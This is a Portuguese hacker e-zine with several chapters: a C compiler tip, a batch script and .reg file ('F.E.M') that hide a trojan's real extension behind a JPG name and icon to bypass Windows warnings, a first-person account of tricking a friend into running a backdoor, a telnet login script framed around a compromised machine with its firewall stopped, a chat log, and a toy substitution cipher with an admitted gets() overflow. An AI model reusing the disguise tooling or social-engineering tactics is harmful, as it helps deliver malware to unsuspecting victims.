O G++ não gosta do void

Ops, ia esquecendo ^^. Gostaria de recomendar um ótimo compilador para 
windows chamado Dev-C++, quando voce clica em new -> source file, o
Dev vai criar um arquivo .cpp em branco para voce escrever os codigos, a
extensão 'cpp' quer SUPOSTAMENTE dizer que aquele font foi feito em 
C++, mas voce pode escrever seus codigos em C tranquilamente em arquivos
com essa extensão e compila-los, o problema vem agora, tipo assim, compile
este font aqui (dentro de um arquivo cpp):

---- Untitled1.cpp ----------

#include <stdio.h>

void main (void){
  printf ("Deu Pau!!!");
}
-------- cut --------

Não vou conseguir compilar ele porque se o arquivo estiver com extensão 
.cpp não é permitida 'a não especificação do int' de forma alguma, ou seja, 
ele te obriga a colocar o int antes de main retornando essa mensagem:

3 C:\Documents and Settings\David\Desktop\Untitled1.cpp `main' must return `int' 

Ele ta dizendo que o main tem que retornar um inteiro (int), o Dev é uma 
especie de interface bonitinha para o gcc e para o g++, compiladores C e C++ 
respectivamente, na verdade é o g++ que não permite que a função retorne void, 

Veja os logs:

Compiler: Default compiler
Executing  g++.exe...
g++.exe "C:\Documents and Settings\David\Desktop\Untitled1.cpp" -o "C:\Documents 
and Settings\David\Desktop\Untitled1.exe"   -g3  -I "C:\Dev-Cpp\lib\gcc\mingw32\3.4.2
\include"  -I"C:\Dev-Cpp\include\c++\3.4.2\backward" -I"C:\Dev-Cpp\include\c++\3.4.2\
mingw32"  -I"C:\Dev-Cpp\include\c++\3.4.2"  -I"C:\Dev-Cpp\include" -L"C:\Dev-Cpp\lib"
-l wsock32 -g3 C:\Documents and Settings\David\Desktop\Untitled1.cpp:3: error: `main' 
must return `int' Execution terminated

Ja que o Dev identifica qual compilador usar, se baseando pela extensão dos arquivos, e 
já que sabemos que o tal do g++ não permite que a função principal retorne void, basta
usarmos outro compilador =] Como? Sempre escreva seus CODEs em arquivos com a 
extensão '.c', assim o Dev vai utilizar o gcc para compila-lo, com o gcc é apenas exibida
uma mensagenzinha que eu ja falei anteriormente e pronto, mas o importante é que ele 
compila =) Isso ja atrasou a vida de muitos amigos meus, por isso estou falando, para 
que isso não aconteça com voce, fazendo voce desistir de estudar 'C' só porque não 
conseguiu compilar um code. Faça um teste:

---- Untitled1.c ----------
#include <stdio.h>

void main (void){
  printf ("Agora foi!!! =]");  // <-- Repara na string de controle =)
}

------- cut -------

Logs: 

Compiler: Default compiler
Executing  gcc.exe...
gcc.exe "C:\Documents and Settings\David\Desktop\Untitled1.c" -o "C:\Documents
and Settings\David\Desktop\Untitled1.exe" -g3  -I"C:\Dev-Cpp\include"  -L"C:\Dev-Cpp\lib"
-l wsock32 -g3 C:\Documents and Settings\David\Desktop\Untitled1.c: In function `main':
C:\Documents and Settings\David\Desktop\Untitled1.c:3: warning: return type of 'main' is 
not `int' 
Execution terminated 
Compilation successful  < -- Sucesso!!!


Vale te lembrar amigo bgner que 90% do's' "error" de um iniciante DEDICADO é na escrita 
do code e não pela fauta de conhecimento por parte dele. Vou explicar melhor, tipo, um 
bgner sabe que para declarar uma string é necessario usar aspas, mesmo sabendo ele não 
viu que esqueceu, ou seja, Erro! Outro erro bastante comum é a declaração de valores 
que não são suportados por determinados tipos, assim ocazionando erros. Espero que 
tenham gostado de mais uma parte do curso e gostaria de estar dedicando a terceira parte
do curso de C ao meu amor, Patricia. 

                                          Aguardem a 4ª Parte na C.O.D.E x03 
                                                                         by 6_Bl4ck9_f0x6
                                                                         Viper Corp Group                  


----- C4p1Tul0 10
           

[+] X==XX===========XXX===========XXX===X +] 
       File Extension Manipulation
[+] X===========XXX=============XXX======X+] 

Olá!! Esse code ai é pro pessoal que gosta de uma operação sabotagem, tipo assim,
isso ai é bom pra pegar aquele povo que gosta de reparar em extensão ^^. Pessoal,
voces podem fazer ele em .reg e mandar pra vitima ^^. Voces sabem aqueles joguinhos
que para se crackear precisamos utilizar pequenos .reg? Um exemplo é o Age of Empires 
1 e tantos outros por ai, esses .reg são usados para aumentar a velocidade do jogo e
tals, dai fica mais facil, basta mandar o jogo pra vitima e mandar ela crackear isso 
da menos na telha, vamos pensar com malicia agora. Voces muito provavelmente devem 
conhecer manipulação binaria em rtf e tals, mas o mais interesante disso é que quando 
a vitima executa qualquer arquivo 'conhecido como perigo' pelo windows, ele avisa e 
tals, mas se a vitima tiver executado o .reg ou voce mesmo utilizou esse script que
escrevi em batch ANTES no sistema dela, voce pode mandar arquivos binarios e tudo 
mais que não vai aparecer mensagem nenhuma avisando que aquele arquivo é do mal e 
tals eheh. Para cada tipo de extensão CONHECIDA é exibida uma mensagem diferente,
ou seja, ja que seu trojan OU VIRUS vai estar com uma extensão totalmente escabroZa
nem se preocupe cara, pois como eu ja falei:

Nada de mensagem!!! 

Reparei isso porque as mensagem mudavam quando se executava diferentes extensões 
no rtf, dai o que eu pensei? Putz, as mensagens aparecem por causa da extensão 
OBVIO!!! Quando fui testar uma extensao no rtf com aplicativo "logo depois 
de ter usado o F.E.M", adivinha o que aconteceu, nada de msg, ou seja, Bingo!!!
Dai resolvi brincar um pouco com isso, mandei o Age para um amiga e foi muito legal, 
disse:

David diz:
Nanda, tai um joguinho legal. 
Link: Http://....
Fernanda diz:
Opa, eu tenho o 2, mas naum o 1. 
David diz:
Crackeia ele ai, speed e tudo mais 
Fernanda diz:
Quanto terminar de baixar eu faço.

Algum tempo depois....

David diz:
Nanda, olha o que eu escrevi proce

Era um arquivo escrito algo mais ou menos assim rsrs:

[]==============================================[]
   O Nanda, minha amada amiga, estava eu aqui sem
   fazer nada e resolvi escrever um texto proce, ta
   ai em baixo:

   notepad.txt      < -- Olha a malandragem aqui +
                                                 |
   (com icone e tudo mais ^^)           < ----   +
[]==============================================[]

Na verdade o que eu mandei era um arquivo com extensao .fox rsrs
Ela executou o file e catapimba!!! Não deu outra, minha backdoor
rodando e meu clinte conectando rsrsr. Antes tinha bindeado a backdoor
com um arquivo de texto escrito um monte de besteira, tipo, piadas!!!
rsrs. As utilidades deste script podem ser interminaveis, obvio que voce 
tem que pensar como um fuçador, pensar com malicia amigo, não estou 
falando para voces ser malicioso com todos e com tudo, pois a intenção 
aqui não é tirar sua inocencia, mas garanto que um pouco de malicia 
"NO NOSSO RAMO" nos traz bons frutos e também nos evita uma 
bela de uma dor de cabeça, pois existem engenheiros sociai's d+ no 
mundo, pensando com malicia sua imaginação vai pipocar em seu 
cerebro, sempre... 

                     ------ F. E. M - v2.0.bat ------

@echo off & color c
REM Para inserir icones predefinidos no seu trojan basta inserir e modificar essa linha:
REM reg add HKEY_CLASSES_ROOT\Master\DefaultIcon /ve /t REG_SZ /d "shell32.dll,67" /f 
ReM shimgvw.dll,3 = Imagem em JPG
ReM 
title Esquadrao da tortura - Viper Corp
:Pergunta
ECHO      ################################
ECHO                F. E. M. v2.0 &echo.
ECHO                    BY 
ECHO               6_Bl4ck9_f0x6 & echo.
ECHO       -X-x-X Corporacao Vibora X-x-X- 
ECHO      ################################ & echo.
ECHO       ============================
ECHO              + Viper Corp +
ECHO               For you Bru?? 
ECHO       ============================ & echo.
set reader=y & set reader2=n
set /p escolha=Quer continuar? y/n 
if /I %escolha% EQU %reader% ( 
GOTO :Starting) 
if /I %escolha% EQU %reader2% (
GOTO :Adeus) 
IF %ERRORLEVEL% NEQ %reader% GOTO :Sinck
IF %ERRORLEVEL% NEQ %reader2% GOTO :Sinck

:Starting
echo. & pause & cls
echo 6_Bl4ck9_f0x6 diz: &echo. & echo Preencha os dados abaixo & echo.
set /p extensao=Digite a extensao que seu trojan ou virus tera - [Exemplo, fox]:
ASSOC .%extensao%=Master
echo Ext: .%extensao% >> Extensoes.log
echo Extensao .%extensao% OK!
echo. & pause & cls 
echo Associando descricao de imagem JPG a sua extensao... 
reg add HKEY_CLASSES_ROOT\Master /ve /t REG_SZ /d "Imagem no formato JPG" /f
echo.
echo Associando valor sequencial para extensao fantasma a sua extensao...
reg add HKEY_CLASSES_ROOT\Master /v NeverShowExt /t REG_SZ /f
echo.
echo Associando icone de imagem JPG a sua extensao...
reg add HKEY_CLASSES_ROOT\Master\DefaultIcon /ve /t REG_SZ /d "shimgvw.dll,3" /f
echo.
echo Transformando sua extensao em aplicativo...
reg add HKEY_CLASSES_ROOT\Master\shell\open\command /ve /t REG_SZ /d "\"%%1\" %%*" /f
echo. & pause 
:Adeus
cls &echo.
echo 6_Bl4ck9_f0x6 diz: &echo. & echo Obrigado por estar usando o F.E.M amigo =) & echo. 
pause & exit
:Sinck
msg * Desculpe %username% a opcao '%escolha%' e invalida & pause 
cls & goto :Pergunta

                                 ------ Corte aqui ------

Desenvolvi um esquema de backup de extensões que voce cria, tipo assim, 
o F.E.M cria a extensao, adiciona icone de JPG a ela, adiciona descrição de
JPG a sua extensao, oculta a real extensao de seus virus e trojans e ainda cria
um arquivozinho onde fica logado todas as extensões que voce criou =) Meu 
script é bastante eficiente amigos ;] Vamos agora a um exemplo de utilização.

Seu trojan se chama - > trojan.exe 

Mude a extensão 'exe' para a extensão que voce criou, nomeando o arquivo
assim:

trojan.JPG.fox

Nesse caso a extensão 'fox' vai desaparecer e o nome do arquivo vai estar 
parecendo a extensão (trojan.JPG =). Lembrando que mesmo voce configurando
o windows para visualizar extensões dos arquivos, a sua extensão não vai ser
exibida de forma alguma.

Ta ae o .reg 

                ------ F. E. M - v1.0.reg ------

Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\.Sinck]
@="Master"
[HKEY_CLASSES_ROOT\Master]
@="Imagem no formato JPG"
"NeverShowExt"=""
[HKEY_CLASSES_ROOT\Master\DefaultIcon]
@="shimgvw.dll,3"
[HKEY_CLASSES_ROOT\Master\shell]
[HKEY_CLASSES_ROOT\Master\shell\open]
[HKEY_CLASSES_ROOT\Master\shell\open\command]
@="\"%1\" %*"

                   ------ Cut here ------


 Boa sorte amigo ;-) 


----- C4p1Tul0 11
           

[=] + =======xx==============xx=========== + [=]
           +++ . Telnet Secure . +++ 
                      by 
                 6_Bl4ck9_f0x6     
[=] + =======xx=============xx============ + [=]

Hi! Vamos supor que por algum motivo voces precisam abrir a porta 
telnet do seu desgraçado windows, tabom tabom, é uma possibilidade 
muito remota, mas.... Ainda sim existe (nem Deus disse: dessa agua não
bebereis... ou algo assim). Vamos mais alem, tipo assim, voces fizeram 
uma operação sabotagem no sistema do maluco e tudo mais, mataram 
o firewall do XP (net stop sharedaccess) e a porta ta lá abertinha só 
esperando alguém entrar (hum...), mas voce não quer que ninguem mais 
entre, o que voce faz? Voce muda a porta padrão para tentar 
DIFICULTAR a identificação do serviço, mas o cara usa um scan
e pega o service em ou porta, o que que voce faz? Desabilita o telnet? 
Não, voce usa meu script baby =) 

notepad \WINDOWS\system32\login.cmd  -- > Abre ele

                        ---- login.cmd ----

@echo off
rem
rem  Script de login global padrao para Telnet Server 
rem
rem  Na instala‡ao padrao, este script de comandos ‚ executado
rem  quando o shell de comandos inicial ‚ chamado. Ele tenta
rem  entao chamar o script de logon do usu rio individual.
rem
rem set password=luzinha &ReM <-- Defina a senha aqui gente boa
rem
title Login Duplo v1.0 by 6_Bl4ck9_f0x6 & color a
set password=luzinha
:Star
cls
ECHO         [FOX]=----------x----------x----------=[FOX] & ECHO.
ECHO                  --X---- Login Duplo v1.0 ---x--
ECHO                               +BY+
ECHO                           6_Bl4ck9_f0x6 & ECHO.
ECHO                     +X+   I love luz*    +X+
ECHO         [FOX]=----------x----------x----------=[FOX]
ECHO. 
set /p senha=Digite sua senha:
if /I "%senha%" EQU "%password%" (goto start) else (goto Err)
:Err
msg * '%username%' a senha '%senha%' esta incorreta! Tente novamente & cls & goto Star
:Start
cls
ECHO ==========X==========X==========X==========
ECHO                 x  PRONTO x
ECHO ==========X==========X==========X==========
pause & cls 
echo *===============================================================
echo Bem-vindo a Black Machine e tenha cuidado com o que faz
echo *===============================================================
 
                           ---- cut here ----

Se quizerem, poderão inserir um esquema do login case e tudo mais eheh,
basta tirar o /I da frente do comando mais manjado do mundo para controle
de fluxo --> IF.

O bom disso é que no momento que os caras tão tentando descobrir a senha, 
voce ta vendo as senhas que eles tão usando, 'em tempo real', isso ai é bom
pra voce saber se o cara sabe o nome de sua namorada ou esposa rsrs ;-) 

Simples =). 

Adios main freuds ;]

by  6_Bl4ck9_f0x6



----- C4p1Tul0 12


XxXxX============================XxXxX
     O Banimento nunca existiu XP
XxXxX============================XxXxX

Na edição anterior voces viram que eu estava revoltado pelo banimento de meu amigo 
Cloudy, mas o que eu não sabia é que ele não tinha sido banido do forum rsrs. Olhem 
ae a conversa.

Starting....


  [b][c=6]#[/c]     ·$1'André ; Carioca... ²²     ~ ·$6s2·$1*[/b]·$0 está na conversa.
  
David diz:
diz pro cloudy que tu num baniu ele 
David diz:
diz reeves
David diz:
ele ta achando agora 
David diz:
eu tambem achava
[b][c=6]#[/c]     ·$1'André ; Carioca... ²²     ~ ·$6s2·$1*[/b]·$0 diz:
O phabia me baniu
[b][c=6]#[/c]     ·$1'André ; Carioca... ²²     ~ ·$6s2·$1*[/b]·$0 diz:
phobia*
David diz:
?
David diz:
serio?
David diz:
e verdade reeves?
  
Você acabou de pedir a atenção.
  
Reeves       ¬¬ diz:
nao
David diz:
o cloudy ta ficando doido
David diz:
lol 
David diz:
da a senha do cara agora
David diz:
sacanagem isso ae 
David diz:
http://www.hunterhacker.xpg.com.br/F.E.M.rar 
David diz:
lol 
David diz:
cloudy 
David diz:
trata de baixar meu video ae
David diz:
rsrsrs
[b][c=6]#[/c]     ·$1'André ; Carioca... ²²     ~ ·$6s2·$1*[/b]·$0 diz:
Aliás
[b][c=6]#[/c]     ·$1'André ; Carioca... ²²     ~ ·$6s2·$1*[/b]·$0 diz:
Eu tenho que falar com o DG
[b][c=6]#[/c]     ·$1'André ; Carioca... ²²     ~ ·$6s2·$1*[/b]·$0 diz:
Ele disse que quer excluir meus "fakes" (HadeS, Fear e Amilly)
David diz:
filho da puta 
[b][c=6]#[/c]     ·$1'André ; Carioca... ²²     ~ ·$6s2·$1*[/b]·$0 diz:
E disse que não tem como passar os posts pro Cloudy ¬¬
Reeves       ¬¬ diz:
fdp nada, fakes nao pode
David diz:
ele num tem o direito de fazer isso com meu amiguinho pokemon 
David diz:
rsrsrsrs
Reeves       ¬¬ diz:
bloqueamos o cloudy pq vc empresto a conta pro david
[b][c=6]#[/c]     ·$1'André ; Carioca... ²²     ~ ·$6s2·$1*[/b]·$0 diz:
Eu sei
David diz:
aff
David diz:
ei galera
Reeves       ¬¬ diz:
então
David diz:
vamos falar da......
David diz:
LUZINHA?
David diz:
hauhaua
David diz:
estou apaixonado 
David diz:
rsrsrs
David diz:
da o canto devolta pra ele reeves
Reeves       ¬¬ diz:
envez de excluir seus fakes, só bloquear eles e deixar o cloudy livre resolve
David diz:
yes
David diz:
pelo menos isso 
[b][c=6]#[/c]     ·$1'André ; Carioca... ²²     ~ ·$6s2·$1*[/b]·$0 diz:
Por mim pode excluir
[b][c=6]#[/c]     ·$1'André ; Carioca... ²²     ~ ·$6s2·$1*[/b]·$0 diz:
Mas passa os posts pro user Cloudy
David diz:
eu quero meu login outra vez no darkers ehhe, quero meu perfil 
David diz:
rsrsrs
Reeves       ¬¬ diz:
eu vou ver
David diz:
to com saudade do rog
David diz:
rsrsrsrrs
David diz:
amo aquele gato loco 
David diz:
hauahuaha
Reeves       ¬¬ diz:
saudade do rog pq se ele ta no invaders tbm ?
David diz:
la ele num reaje
David diz:
rsrsrs
David diz:
xingo ele e nada
David diz:
desistir
David diz:
rsrsrs
David diz:
Ei cloudy 
David diz:
baixou o video porra!!!
David diz:
rsrsrs
  
Você acabou de pedir a atenção.
  
[b][c=6]#[/c]     ·$1'André ; Carioca... ²²     ~ ·$6s2·$1*[/b]·$0 diz:
Pera ai
Reeves       ¬¬ diz:
cloudy fica velho dia 7 de fevereiro
Reeves       ¬¬ diz:
q meigo
David diz:
rsrsrs
Reeves       ¬¬ diz:
:]
David diz:
vou postar isso na zine
David diz:
ei ei ei 
[b][c=6]#[/c]     ·$1'André ; Carioca... ²²     ~ ·$6s2·$1*[/b]·$0 diz:
É cara...
David diz:
vou publicar nossa conversa
David diz:
hauhauhha
[b][c=6]#[/c]     ·$1'André ; Carioca... ²²     ~ ·$6s2·$1*[/b]·$0 diz:
16 anos nas costas
Reeves       ¬¬ diz:
quantos anos kra?
David diz:
vai ser legal
David diz:
hauhauha
Reeves       ¬¬ diz:
só..
David diz:
so 
David diz:
num sabia naum reeves?
[b][c=6]#[/c]     ·$1'André ; Carioca... ²²     ~ ·$6s2·$1*[/b]·$0 diz:
Graças a deus
David diz:
seu melhor usuario
David diz:
hauhauhauha
Reeves       ¬¬ diz:
affzzz
Reeves       ¬¬ diz:
cada boca
David diz:
EI cloudy 
David diz:
1 MB porra!!
David diz:
huahuahuha
Reeves       ¬¬ diz:
eu sei a idade dele..
Reeves       ¬¬ diz:
ele disse nas costas
Reeves       ¬¬ diz:
eu disse só
David diz:
Ei reeves
David diz:
num ferra
Reeves       ¬¬ diz:
pq tenho mto mais nas costas
Reeves       ¬¬ diz:
uhauhauahauhahuaaa
David diz:
Num foi voce que deu uma trepadinha
David diz:
Huahuahuaha
David diz:
a mina ta me chamando 
David diz:
hauhauhah
Reeves       ¬¬ diz:
uhauhauhauhUHAa
Reeves       ¬¬ diz:
vai la 
David diz:
galera
David diz:
vou publicar nossa conversa 
David diz:
rsrsr
David diz:
pra mostrar que eu estava enganado com ralação ao banimento do cloudy 
Reeves       ¬¬ diz:
nem...
David diz:
fui...
David diz:
tenho uma pepitinha pra traçar
Reeves       ¬¬ diz:
nem publique
David diz:
Ei cloudy 
David diz:
cloudy 
  
Você acabou de pedir a atenção.
  
David diz:
Cloudy!!!!!!!!!!!!
[b][c=6]#[/c]     ·$1'André ; Carioca... ²²     ~ ·$6s2·$1*[/b]·$0 diz:
Diga
David diz:
vou indo e meus parabens ae, que deus lhe de muitas invasoes 
David diz:
hauhauhauh
David diz:
Deus
David diz:
hauhauha
David diz:
sacou?
[b][c=6]#[/c]     ·$1'André ; Carioca... ²²     ~ ·$6s2·$1*[/b]·$0 diz:
Hauhauhauhuahuahauhauha
David diz:
hauhauhauha
David diz:
Ei galera
David diz:
voces sabia que agora meu idolo e o BSDaemon? 
David diz:
hauhuah
David diz:
decidi que vou ser melhor que ele Huahuahauh daqui a 10 anos eu consigo 
David diz:
hauhauha
David diz:
xau pessoal 
[b][c=6]#[/c]     ·$1'André ; Carioca... ²²     ~ ·$6s2·$1*[/b]·$0 diz:
Xauzin
Reeves       ¬¬ diz:
adios..
  
Isso é o que eu chamo de uma BELA CAGADA!!! Não façam como eu fiz, 
não tirem conclusões precipitadas antes de analisar os fatos, caso contrario voce
pode acabar como eu XP rsrs.

----- C4p1Tul0 13


xXx=============================xXx
      Emperial Encripter
xXx=============================xXx


Eu sei o que vc's devem estar pensando. Tipo -> Esse maluco eh o maior sem 
imaginação, maluco vive botando nome de emperial num sei oq, enperial num 
sei das quantas, e tals. Mas eu não ligo para vc's :P. Enfim, os CODE's sao 
meus e por isso faz isso:

                                  -> Vaum ToMaR no cuh <- 
                                         eheheh!!!

Esse algoritimo de criptografia eh baseado no mesmo algoritimo de Julio Cezar
do emperio Romano, tipo, para enviar mensagens para a galera ele
usava o método de subistituição, ou seja, um cripto-analista teria serios 
problemas caso ele ainda não tivesse conseguido textos decriptados =) O que?
Nao sabe do que eu estou falando? Tipo, eu quiz dizer que é criptografia da boa!

===================================== 
Descriptografem essa mensagem: 

y[~ k) +E )A ;=~[ "79[ :=;;[U 5#
===================================== 

Agora vamos aos algoritimos como dizem os universitarios cheios de espirito 
hacku :P Ei ei ei, nao revisei o code naum galera, achu que quando eu usava
alguns smiles dava pal, dae fiquei de sacu cheio de codar o cript e num testei 
mais naum, mas as letras ta deboa =) 

Pelo visto achu que vou ter que deixar algumas letras originais mesmo, por 
questões de compatibilidade e tals, mas não se preocupem, basta deixar as 
mensagens decriptadas longe das encriptadas por causa dos potentes  -> S's 

                       -> Cripto-Analista <-  ;)

OBS: S's vem de Sangue sugas da porra!! :P 

No code do encript tem um bug de heap overflow...XP Usei o gets e tals, pois
quem diabos vai perder tempo exploitando um bug num file desses? Afz hauhauh!! 
Mas tem doido pra tudo né.... :P


                 ------ Emp_Encript.c ------


/*        [XxX -> x]+===x==X==x===x+[x <- XxX]  
*                  *** Viper Corp ***
*                -> Obrigado a todos <-  
*        [x <-> XxX]+===x==X==x===x+[XxX <-> x]           
*   
*         Emperial Encripter [Emp_Encript.c] v0.1
*                          by
*                     6_Bl4ck9_f0x6                      
* 
*       
*      Atenção:  Esta é a ferramenta 'encriptadora', para 
*     'decriptar' voce precisa do -> Emp_Dcript.c <-- que 
*      pode ser obtido em:
*      
*      http://www.hunterhacker.xpg.com.br/Emp_Dcript.c.diz
*                            ou em
*      http://www.explinter.orgfree.com/Emp_Dcript.c.diz     
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

int banner (){
     SetConsoleTitle ("Emperial Encripter by 6_Bl4ck9_f0x6");
     char *banner[]={
            
       "[=] + ==========[####]============ + [=]\n",
       "       *** Emperial Encripter ***\n",
       "      XxX   VIPER CORP GROUP  XxX\n",
       "        <-> Underground Max <->",
       "[=] + ==========[####]============ + [=]\n"};
       printf ("%s%s%s%s\n\n", banner[0], banner[1],
                               banner[2], banner[4]);}

int main (void){
     
      system ("cls");
      banner ();
      
      FILE *output;
      output = fopen ("String's_encript.diz", "w");
      
      if (!output){
      perror ("Erro:");
      fprintf (stderr, "\nNao consegui criar o arquivo\
 com a(s) string(s) encriptada(s)\n");
      exit (-1);}
      
      int i=0;  
      char string_s[1000];
      fprintf (stdout, "\nEntre com sua string\
 [Max 9999 caracteres]:\n\n");
      gets (string_s); 
             
                   
       for (i;string_s[i] != '\0';i++){
           
       if (string_s[i] == 'A'){
               string_s[i]='*';}
       else if (string_s[i] == 'a'){
                string_s[i]='[';}
       else if (string_s[i] == 'B'){
                string_s[i]='$';}
       else if (string_s[i] == 'b'){
                string_s[i]='!';}
       else if (string_s[i] == 'C'){
                string_s[i]='8';}
       else if (string_s[i] == 'c'){
                string_s[i]='+';} 
       else if (string_s[i] == 'D'){
                string_s[i]='@';} 
       else if (string_s[i] == 'd'){
                string_s[i]='k';}
       else if (string_s[i] == 'E'){
                string_s[i]='%';}
       else if (string_s[i] == 'e'){
                string_s[i]=')';}
       else if (string_s[i] == 'F'){
                string_s[i]='6';}
       else if (string_s[i] == 'f'){
                string_s[i]='"';}
       else if (string_s[i] == 'G'){
                string_s[i]='4';}
       else if (string_s[i] == 'g'){
                string_s[i]='1';} 
       else if (string_s[i] == 'H'){
                string_s[i]='?';}  
       else if (string_s[i] == 'h'){
                string_s[i]='A';}
       else if (string_s[i] == 'I'){
                string_s[i]='T';}
       else if (string_s[i] == 'i'){
                string_s[i]='7';}   
       else if (string_s[i] == 'J'){
                string_s[i]='P';}      
       else if (string_s[i] == 'j'){
                string_s[i]='&';}     
       else if (string_s[i] == 'L'){
                string_s[i]='Z';}
       else if (string_s[i] == 'l'){
                string_s[i]='~';}
       else if (string_s[i] == 'M'){
                string_s[i]='y';}
       else if (string_s[i] == 'm'){
                string_s[i]='{';}
       else if (string_s[i] == 'N'){
                string_s[i]='q';}
       else if (string_s[i] == 'n'){
                string_s[i]='9';}
       else if (string_s[i] == 'O'){
                string_s[i]='^';}
       else if (string_s[i] == 'o'){
                string_s[i]='=';}       
       else if (string_s[i] == 'P'){
                string_s[i]='#';}
       else if (string_s[i] == 'p'){
                string_s[i]=':';}         
       else if (string_s[i] == 'Q'){
                string_s[i]='-';}
       else if (string_s[i] == 'q'){
                string_s[i]=']';}
       else if (string_s[i] == 'R'){
                string_s[i]='F';}
       else if (string_s[i] == 'r'){
                string_s[i]=';';}
       else if (string_s[i] == 'S'){
                string_s[i]='2';}  
       else if (string_s[i] == 's'){
                string_s[i]='h';}  
       else if (string_s[i] == 'T'){
                string_s[i]='.';}  
       else if (string_s[i] == 't'){
                string_s[i]=',';}  
       else if (string_s[i] == 'U'){
                string_s[i]='3';}  
       else if (string_s[i] == 'u'){
                string_s[i]='E';}  
       else if (string_s[i] == 'V'){
                string_s[i]='<';}  
       else if (string_s[i] == 'v'){
                string_s[i]='|';}
       else if (string_s[i] == 'W'){
                string_s[i]='Y';}
       else if (string_s[i] == 'w'){
                string_s[i]='X';}
       else if (string_s[i] == 'X'){
                string_s[i]='G';}
       else if (string_s[i] == 'x'){
                string_s[i]='5';}
       else if (string_s[i] == 'Y'){
                string_s[i]='/';}
       else if (string_s[i] == 'y'){
              string_s[i]='}';}
       else if (string_s[i] == 'Z'){
                string_s[i]='n';}
       else if (string_s[i] == 'z'){
                string_s[i]='I';}             
       else if (string_s[i] == '!'){
                string_s[i]='U';}
       else if (string_s[i] == ','){
                string_s[i]='D';}
       else if (string_s[i] == '.'){
                string_s[i]='L';}
                }
      
      fprintf (output, "%s", string_s);
      fclose (output); 
      system ("cls");
      banner();
      fprintf (stderr, "6_Bl4ck9_f0x6 diz:\n\n");
      puts ("String(s) encriptada(s) com sucesso!\n");    
      system ("pause"); 
      return (0);}

                    --- cute nessa porra Here! --- 


Ai vai o Dcripter minha gente, ei ei ei, vale lembrar ai pra voces
que essas são minhas subistituições... voces podem... ou melhor,
devem fazer! suas proprias, não usem o default, pois pode existir
outros leitores da zine que podem ser seus conhecidos no orkut 
e tals, dai eles podem decriptar suas msg's, por isso -> Faça seu
proprio algoritimo baseado no meu e no do Julio Cezar do 
Emperio Romano =)
      
                           --- Emp_Dcript.c ---

/*        [XxX -> x]+===x==X==x===x+[x <- XxX]  
*                  *** Viper Corp ***
*                -> Obrigado a todos <-  
*        [x <-> XxX]+===x==X==x===x+[XxX <-> x]           
*   
*         Emperial Encripter [Emp_Dcript.c] v0.1
*                          by
*                     6_Bl4ck9_f0x6                      
* 
*       
*      Atenção:  Esta é a ferramenta 'decriptadora', para 
*     'encriptar' voce precisa do -> Emp_Encript.c <- que 
*      pode ser obtido em:
*      
*      http://www.hunterhacker.xpg.com.br/Emp_Encript.c.diz
*                            ou em
*      http://www.explinter.orgfree.com/Emp_Encript.c.diz      
*/

#include <stdio.h>
#include <stdlib.h>

int banner (){
     char *banner[]={
            
       "[=] + ==========[####]============ + [=]\n",
       "       *** Emperial Encripter ***\n",
       "      XxX   VIPER CORP GROUP  XxX\n",
       "        <-> Underground Max <->",
       "[=] + ==========[####]============ + [=]\n"};
       printf ("%s%s%s%s\n\n", banner[0], banner[1],
                               banner[2], banner[4]);}

int main (int argc, char *argv[]){
           
           system ("cls");
           banner ();
           if ( (argc < 3) || (argc > 3) ){
           fprintf (stderr, "Uso: %s <file_input> <file_output>\n", argv[0]);
           exit (0);}
             
           char reader;
           
           FILE *input;
           FILE *output;   
           
           if ((input = fopen (argv[1], "r")) == NULL){
                   perror ("Erro");
                   fprintf (stderr, "\nNao consegui abrir o \
arquivo -> %s <- para leitura\n", argv[1]);
                     exit (-1);}
                     
           else if ((output = fopen (argv[2], "w")) == NULL){
                    fprintf (stderr, "\nNao consegui escrever \
a saida decriptada no arquivo -> %s <-\n", argv[2]);
                     exit (-1);} 
         
          while ((reader = getc (input) ) != EOF){
            
              if (reader == '*'){ 
                  reader='A';}
              else if (reader == '['){
                  reader='a';}
              else if (reader == '$'){
                  reader='B';}
              else if (reader == '!'){
                  reader='b';}
              else if (reader == '8'){
                  reader='C';}
              else if (reader == '+'){
                  reader='c';}
              else if (reader == '@'){
                  reader='D';}           
              else if (reader == 'k'){
                  reader='d';}  
              else if (reader == '%'){
                  reader='E';}          
              else if (reader == ')'){
                  reader='e';}  
              else if (reader == '6'){
                  reader='F';}  
              else if (reader == '"'){
                  reader='f';}  
              else if (reader == '4'){
                  reader='G';}  
              else if (reader == '1'){
                  reader='g';}  
              else if (reader == '?'){
                  reader='H';} 
              else if (reader == 'A'){
                  reader='h';} 
              else if (reader == 'T'){
                  reader='I';}  
              else if (reader == '7'){
                  reader='i';}
              else if (reader == 'P'){
                  reader='J';} 
              else if (reader == '&'){
                  reader='j';} 
              else if (reader == 'Z'){
                  reader='L';} 
              else if (reader == '~'){
                  reader='l';} 
              else if (reader == 'y'){
                  reader='M';}
              else if (reader == '{'){
                  reader='m';}
              else if (reader == 'q'){
                  reader='N';} 
              else if (reader == '9'){
                  reader='n';} 
              else if (reader == '^'){
                  reader='O';} 
              else if (reader == '='){
                  reader='o';} 
              else if (reader == '#'){
                  reader='P';} 
              else if (reader == ':'){
                  reader='p';}
              else if (reader == '-'){
                  reader='Q';}   
              else if (reader == ']'){
                  reader='q';}   
              else if (reader == 'F'){
                  reader='R';}   
              else if (reader == ';'){
                  reader='r';}   
              else if (reader == '2'){
                  reader='S';}   
              else if (reader == 'h'){
                  reader='s';}
              else if (reader == '.'){
                  reader='T';}   
              else if (reader == ','){
                  reader='t';}   
              else if (reader == '3'){
                  reader='U';}
              else if (reader == 'E'){
                  reader='u';}   
              else if (reader == '<'){
                  reader='V';}   
              else if (reader == '|'){
                  reader='v';}
              else if (reader == 'Y'){
                  reader='W';}   
              else if (reader == 'X'){
                  reader='w';}   
              else if (reader == 'G'){
                  reader='X';}
              else if (reader == '5'){
                  reader='x';}   
              else if (reader == '/'){    
                    reader='Y';}   
              else if (reader == '}'){
                  reader='y';}
              else if (reader == 'n'){
                  reader='Z';}      
              else if (reader == 'I'){
                  reader='z';}               
              else if (reader == 'U'){
                  reader='!';}   
              else if (reader == '('){
                  reader=',';}
              else if (reader == 'L'){
                  reader='.';} 
              else if (reader == 'D'){
                  reader=',';}
                                                    
              putc (reader, output);}

fprintf (stderr, "6_Bl4ck9_f0x6 diz:\n\n");              
puts ("String(s) decriptada(s) com sucesso!\n");              
                   
fclose (input);
fclose (output);            
return (0);}
 
                       -- end -- 


----- C4p1Tul0 14


